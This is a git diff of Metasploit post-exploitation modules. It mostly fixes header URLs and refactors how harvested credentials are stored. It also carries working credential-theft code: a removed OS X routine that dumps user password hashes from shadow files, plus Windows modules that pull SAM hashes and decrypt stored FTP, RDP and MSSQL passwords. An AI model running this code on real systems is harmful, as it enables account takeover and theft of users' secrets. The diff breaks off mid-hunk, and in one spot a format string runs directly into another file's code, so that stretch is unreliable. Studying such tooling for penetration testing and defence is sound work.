https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index 73fd44ff90..7e029d0ea7 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index ddc9785379..7f464a6c29 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index ac943db0e7..297c8bb561 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Post enum_accounts(log_folder, ver_num) get_crypto_keys(log_folder) screenshot(log_folder, ver_num) - dump_hash(ver_num) if running_root dump_bash_history(log_folder) get_keychains(log_folder) @@ -459,142 +458,6 @@ class Metasploit3 < Msf::Post end end end - # Dump SHA1 Hashes used by OSX, must be root to get the Hashes - def dump_hash(log_folder,ver_num) - print_status("Dumping Hashes") - users = [] - nt_hash = nil - host = session.session_host - - # Path to files with hashes - sha1_file = "" - - # Check if system is Lion if not continue - if ver_num =~ /10\.(7)/ - - hash_decoded = "" - - # get list of profiles present in the box - profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n") - - if profiles - profiles.each do |p| - # Skip none user profiles - next if p =~ /^_/ - next if p =~ /^daemon|root|nobody/ - - # Turn profile plist in to XML format - cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") - cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}") - file = cmd_exec("cat","/tmp/#{p.chomp}") - - # Clean up using secure delete overwriting and zeroing blocks - cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}") - - # Process XML Plist into a usable hash - plist_values = read_ds_xml_plist(file) - - # Extract the shadow hash data, decode it and format it - plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| - hash_decoded << sprintf("%02X", b) - end - user = plist_values['name'].join("") - - # Check if NT HASH is present - if hash_decoded =~ /4F1010/ - nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0] - end - - # Carve out the SHA512 Hash, the first 4 bytes is the salt - sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] - - print_status("SHA512:#{user}:#{sha512}") - sha1_file << "#{user}:#{sha512}\n" - - # Reset hash value - sha512 = "" - - if nt_hash - print_status("NT:#{user}:#{nt_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "AAD3B435B51404EE:#{nt_hash}", - :active => true - ) - - # Reset hash value - nt_hash = nil - end - # Reset hash value - hash_decoded = "" - end - end - # Save pwd file - upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File") - print_good("Unshadowed Password File: #{upassf}") - - # If system was lion and it was processed nothing more to do - return - end - - users_folder = cmd_exec("/bin/ls","/Users") - - users_folder.each_line do |u| - next if u.chomp =~ /Shared|\.localized/ - users << u.chomp - end - # Process each user - users.each do |user| - if ver_num =~ /10\.(6|5)/ - guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp - elsif ver_num =~ /10\.(4|3)/ - guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp - end - - # Extract the hashes - sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp - nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp - lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp - - # Check that we have the hashes and save them - if sha1_hash !~ /00000000000000000000000000000000/ - print_status("SHA1:#{user}:#{sha1_hash}") - sha1_file << "#{user}:#{sha1_hash}" - end - - if nt_hash !~ /000000000000000/ - print_status("NT:#{user}:#{nt_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "AAD3B435B51404EE:#{nt_hash}", - :active => true - ) - end - if lm_hash !~ /0000000000000/ - print_status("LM:#{user}:#{lm_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "#{lm_hash}:", - :active => true - ) - end - end - # Save pwd file - upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File") - print_good("Unshadowed Password File: #{upassf}") - end # Download configured Keychains def get_keychains(log_folder) diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 85f389f207..ff8c377eeb 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -42,9 +42,6 @@ class Metasploit3 < Msf::Post def run fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root? - # build a single hash_file containing all users' hashes - hash_file = '' - # iterate over all users users.each do |user| next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user @@ -70,27 +67,25 @@ class Metasploit3 < Msf::Post iterations = dict.elements[4].text.gsub(/\s+/, '') salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '') - # PBKDF2 stored in format - decoded_hash = "#{user}:$ml$#{iterations}$#{salt}$#{entropy}" - print_good "SHA512:#{decoded_hash}" - hash_file << decoded_hash + # PBKDF2 stored in format + decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}" + report_hash("SHA-512 PBKDF2", decoded_hash, user) elsif lion? # 10.7 # pull the shadow from dscl shadow_bytes = grab_shadow_blob(user) next if shadow_bytes.blank? # on 10.7 the ShadowHashData is stored in plaintext - hash_decoded = shadow_bytes.upcase + hash_decoded = shadow_bytes.downcase # Check if NT HASH is present - if hash_decoded =~ /4F1010/ - report_nt_hash(hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0], user) + if hash_decoded =~ /4f1010/ + report_hash("NT", hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user) end # slice out the sha512 hash + salt - sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] - print_status("SHA512:#{user}:#{sha512}") - hash_file << "#{user}:#{sha512}\n" + sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0] + report_hash("SHA-512", sha512, user) else # 10.6 and below # On 10.6 and below, SHA-1 is used for encryption guid = if gte_leopard? @@ -106,38 +101,16 @@ class Metasploit3 < Msf::Post # Check that we have the hashes and save them if sha1_hash !~ /0000000000000000000000000/ - print_status("SHA1:#{user}:#{sha1_hash}") - hash_file << "#{user}:#{sha1_hash}" + report_hash("SHA-1", sha1_hash, user) end if nt_hash !~ /000000000000000/ - report_nt_hash(nt_hash, user) + report_hash("NT", nt_hash, user) end if lm_hash !~ /0000000000000/ - print_status("LM:#{user}:#{lm_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "#{lm_hash}:", - :active => true - ) + report_hash("LM", lm_hash, user) end end end - # Save pwd file - upassf = if gt_lion? - store_loot("osx.hashes.sha512pbkdf2", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-512PBKDF2 Password File") - elsif lion? - store_loot("osx.hashes.sha512", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-512 Password File") - else - store_loot("osx.hashes.sha1", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-1 Password File") - end - print_good("Unshadowed Password File: #{upassf}") end private @@ -189,19 +162,31 @@ class Metasploit3 < Msf::Post return fields end - # reports the NT hash info to metasploit backend - def report_nt_hash(nt_hash, user) - return unless nt_hash.present? - print_status("NT:#{user}:#{nt_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "AAD3B435B51404EE:#{nt_hash}", - :active => true + # reports the hash info to metasploit backend + def report_hash(type, hash, user) + return unless hash.present? + print_status("#{type}:#{user}:#{hash}") + case type + when "NT" + private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}" + private_type = :ntlm_hash + when "LM" + private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}" + private_type = :ntlm_hash + when "SHA-512 PBKDF2", "SHA-512", "SHA-1" + private_data = hash + private_type = :nonreplayable_hash + end + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: private_data, + private_type: private_type ) + print_status("Credential saved in database.") end # Checks if running as root on the target diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index cada8372aa..1ba4c2be21 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index b1ce88251a..f26426aaf2 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index 972e23750f..8a4f52330e 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 1c4ee89524..201df917fa 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/manage/vpn.rb b/modules/post/osx/manage/vpn.rb index cea4e7e220..57694119c7 100644 --- a/modules/post/osx/manage/vpn.rb +++ b/modules/post/osx/manage/vpn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 017ee04ca4..f8fbb038b2 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/checkvm.rb b/modules/post/solaris/gather/checkvm.rb index 8dd9b11521..6a8a049fbe 100644 --- a/modules/post/solaris/gather/checkvm.rb +++ b/modules/post/solaris/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/enum_packages.rb b/modules/post/solaris/gather/enum_packages.rb index 61e5922372..9f3895a9a2 100644 --- a/modules/post/solaris/gather/enum_packages.rb +++ b/modules/post/solaris/gather/enum_packages.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/enum_services.rb b/modules/post/solaris/gather/enum_services.rb index f58df1ad23..cdbd17dd57 100644 --- a/modules/post/solaris/gather/enum_services.rb +++ b/modules/post/solaris/gather/enum_services.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/solaris/gather/hashdump.rb b/modules/post/solaris/gather/hashdump.rb index bf30085902..85e30d43b8 100644 --- a/modules/post/solaris/gather/hashdump.rb +++ b/modules/post/solaris/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/capture/keylog_recorder.rb b/modules/post/windows/capture/keylog_recorder.rb index 4170c90aa4..857ae41b71 100644 --- a/modules/post/windows/capture/keylog_recorder.rb +++ b/modules/post/windows/capture/keylog_recorder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/capture/lockout_keylogger.rb b/modules/post/windows/capture/lockout_keylogger.rb index 6da0de962f..ba6680db44 100644 --- a/modules/post/windows/capture/lockout_keylogger.rb +++ b/modules/post/windows/capture/lockout_keylogger.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/droplnk.rb b/modules/post/windows/escalate/droplnk.rb index 3525bcaea6..66c0028d56 100644 --- a/modules/post/windows/escalate/droplnk.rb +++ b/modules/post/windows/escalate/droplnk.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/getsystem.rb b/modules/post/windows/escalate/getsystem.rb index eee1567968..a155bb9166 100644 --- a/modules/post/windows/escalate/getsystem.rb +++ b/modules/post/windows/escalate/getsystem.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 38e2a691bb..1127de5ac3 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index 4f71b271c1..b60f179fe8 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index af2adb1fe3..9d805f7f92 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/arp_scanner.rb b/modules/post/windows/gather/arp_scanner.rb index 9df2666116..ba5abff56d 100644 --- a/modules/post/windows/gather/arp_scanner.rb +++ b/modules/post/windows/gather/arp_scanner.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/bitcoin_jacker.rb b/modules/post/windows/gather/bitcoin_jacker.rb index a740c6c0da..adfafd3529 100644 --- a/modules/post/windows/gather/bitcoin_jacker.rb +++ b/modules/post/windows/gather/bitcoin_jacker.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index ba731e2032..79f6323f20 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/checkvm.rb b/modules/post/windows/gather/checkvm.rb index e32ac9b77f..833c58bdcb 100644 --- a/modules/post/windows/gather/checkvm.rb +++ b/modules/post/windows/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index fb253f037c..7df3c7d0c6 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -182,12 +182,6 @@ class Metasploit3 < Msf::Post def report_findings(entries) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - entries.each{ |entry| @credentials << [ entry[:site_name], @@ -199,17 +193,32 @@ class Metasploit3 < Msf::Post entry[:local_dir] ] - report_auth_info( - :host => entry[:site_address], - :port => entry[:port], - :proto => 'tcp', - :sname => 'ftp', - :user => entry[:login], - :pass => entry[:password], - :ptype => 'password', - :source_id => source_id, - :source_type => "exploit" - ) + service_data = { + address: Rex::Socket.getaddress(entry[:site_address]), + port: entry[:port], + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: entry[:login], + private_data: entry[:password], + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) } end @@ -234,8 +243,8 @@ class Metasploit3 < Msf::Post print_status("Searching BulletProof FTP Client installation directory...") # BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') - progfilesx86 = prog_files_env['ProgramFiles(X86)'] - if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/ + progfilesx86 = progfiles_env['ProgramFiles(X86)'] + if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/ program_files = progfilesx86 # x64 else program_files = progfiles_env['ProgramFiles'] # x86 diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index 88d9d44539..b2be541cdb 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -49,24 +49,38 @@ class Metasploit3 < Msf::Post pass = decrypt(epass) pass = pass.gsub(/\x00/, '') if pass != nil and pass != '' print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - auth = - { - :host => host, - :port => port, - :sname => 'ftp', - :user => user, - :pass => pass, - :type => 'password', - :source_id => source_id, - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) end rescue print_error("Cannot Access User SID: #{hive['HKU']}") diff --git a/modules/post/windows/gather/credentials/credential_collector.rb b/modules/post/windows/gather/credentials/credential_collector.rb index a2d433c632..e58c2a2020 100644 --- a/modules/post/windows/gather/credentials/credential_collector.rb +++ b/modules/post/windows/gather/credentials/credential_collector.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,31 +38,54 @@ class Metasploit3 < Msf::Post session.core.use("incognito") if not session.incognito # It wasn't me mom! Stinko did it! - hashes = client.priv.sam_hashes + begin + hashes = client.priv.sam_hashes + rescue + print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?') + return + end # Target infos for the db record - addr = client.sock.peerhost + addr = session.session_host # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) # Record hashes to the running db instance print_good "Collecting hashes..." hashes.each do |hash| - data = {} - data[:host] = addr - data[:port] = 445 - data[:sname] = 'smb' - data[:user] = hash.user_name - data[:pass] = hash.lanman + ":" + hash.ntlm - data[:type] = "smb_hash" - if not session.db_record.nil? - data[:source_id] = session.db_record.id - end - data[:source_type] = "exploit", - data[:active] = true + # Build service information + service_data = { + address: addr, + port: 445, + service_name: 'smb', + protocol: 'tcp', + } - print_line " Extracted: #{data[:user]}:#{data[:pass]}" - report_auth_info(data) if db_ok + # Build credential information + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ntlm_hash, + private_data: hash.lanman + ":" + hash.ntlm, + username: hash.user_name, + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + + print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}" end # Record user tokens diff --git a/modules/post/windows/gather/credentials/dyndns.rb b/modules/post/windows/gather/credentials/dyndns.rb index 77279aa174..f1ce358a57 100644 --- a/modules/post/windows/gather/credentials/dyndns.rb +++ b/modules/post/windows/gather/credentials/dyndns.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index e0fbaa22bd..0b0ff2ba4f 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Post if is_86 addr = [data].pack("V") else - addr = [data].pack("Q") + addr = [data].pack("Q<") end return addr end @@ -95,7 +95,7 @@ class Metasploit3 < Msf::Post len,add = ret["pDataOut"].unpack("V2") else ret = c32.CryptUnprotectData("#{len}#{addr}",16,"#{elen}#{eaddr}",nil,nil,0,16) - len,add = ret["pDataOut"].unpack("Q2") + len,add = ret["pDataOut"].unpack("Q<2") end #get data, and return it @@ -122,9 +122,11 @@ class Metasploit3 < Msf::Post if cred["targetname"].include? "TERMSRV" host = cred["targetname"].gsub("TERMSRV/","") port = 3389 + service = "rdp" elsif cred["type"] == 2 host = cred["targetname"] port = 445 + service = "smb" else return false end @@ -132,23 +134,32 @@ class Metasploit3 < Msf::Post ip_add= gethost(host) unless ip_add.nil? - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - auth = { - :host => ip_add, - :port => port, - :user => cred["username"], - :pass => cred["password"], - :type => 'password', - :source_id => source_id, - :source_type => "exploit", - :active => true + service_data = { + address: ip_add, + port: port, + protocol: "tcp", + service_name: service, + workspace_id: myworkspace_id } - report_auth_info(auth) + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: cred["username"], + private_data: cred["password"], + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) print_status("Credentials for #{ip_add} added to db") else return @@ -177,14 +188,14 @@ class Metasploit3 < Msf::Post #read array of addresses as pointers to each structure raw = read_str(p_to_arr[0], arr_len, 2) pcred_array = raw.unpack("V*") if is_86 - pcred_array = raw.unpack("Q*") unless is_86 + pcred_array = raw.unpack("Q<*") unless is_86 #loop through the addresses and read each credential structure pcred_array.each do |pcred| cred = {} raw = read_str(pcred, 52,2) - cred_struct = raw.unpack("VVVVQVVVVVVV") if is_86 - cred_struct = raw.unpack("VVQQQQQVVQQQ") unless is_86 + cred_struct = raw.unpack("VVVVQ db_ip, - :port => port, - :sname => 'mssql', - :user => full_user, - :pass => plaintext_passwd, - :source_id => source_id, - :source_type => "exploit", - :active => true - ) + service_data = { + address: Rex::Socket.getaddress(db_ip), + port: port, + protocol: "tcp", + service_name: "mssql", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: full_user, + private_data: plaintext_passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) print_good("Added credentials to report database") else print_error("Could not determine IP of DB - credentials not added to report database") diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index e562129d68..7a5b737961 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -33,13 +33,7 @@ class Metasploit3 < Msf::Post return end - drive = session.sys.config.getenv('SystemDrive') - case session.platform - when /win64/i - @progs = drive + '\\Program Files (x86)\\' - when /win32/i - @progs = drive + '\\Program Files\\' - end + @progs = "#{session.sys.config.getenv('ProgramFiles')}\\" filezilla = check_filezilla if filezilla != nil @@ -147,20 +141,39 @@ class Metasploit3 < Msf::Post source_id = nil end - # report the goods! - report_auth_info( - :host => session.sock.peerhost, - :port => config['ftp_port'], - :sname => 'ftp', - :proto => 'tcp', - :user => cred['user'], - :pass => cred['password'], - :ptype => "MD5 hash", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['ftp_bindip'], - :target_port => config['ftp_port'] - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['ftp_port'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + jtr_format: 'raw-md5', + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: cred['password'], + username: cred['user'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end perms.each do |perm| @@ -190,19 +203,37 @@ class Metasploit3 < Msf::Post #the module will crash with an error. vprint_status("(No admin information found.)") else - report_auth_info( - :host => session.sock.peerhost, - :port => config['admin_port'], - :sname => 'filezilla-admin', - :proto => 'tcp', - :user => 'admin', - :pass => config['admin_pass'], - :type => "password", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['admin_bindip'], - :target_port => config['admin_port'] - ) + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['admin_port'], + service_name: 'filezilla-admin', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + 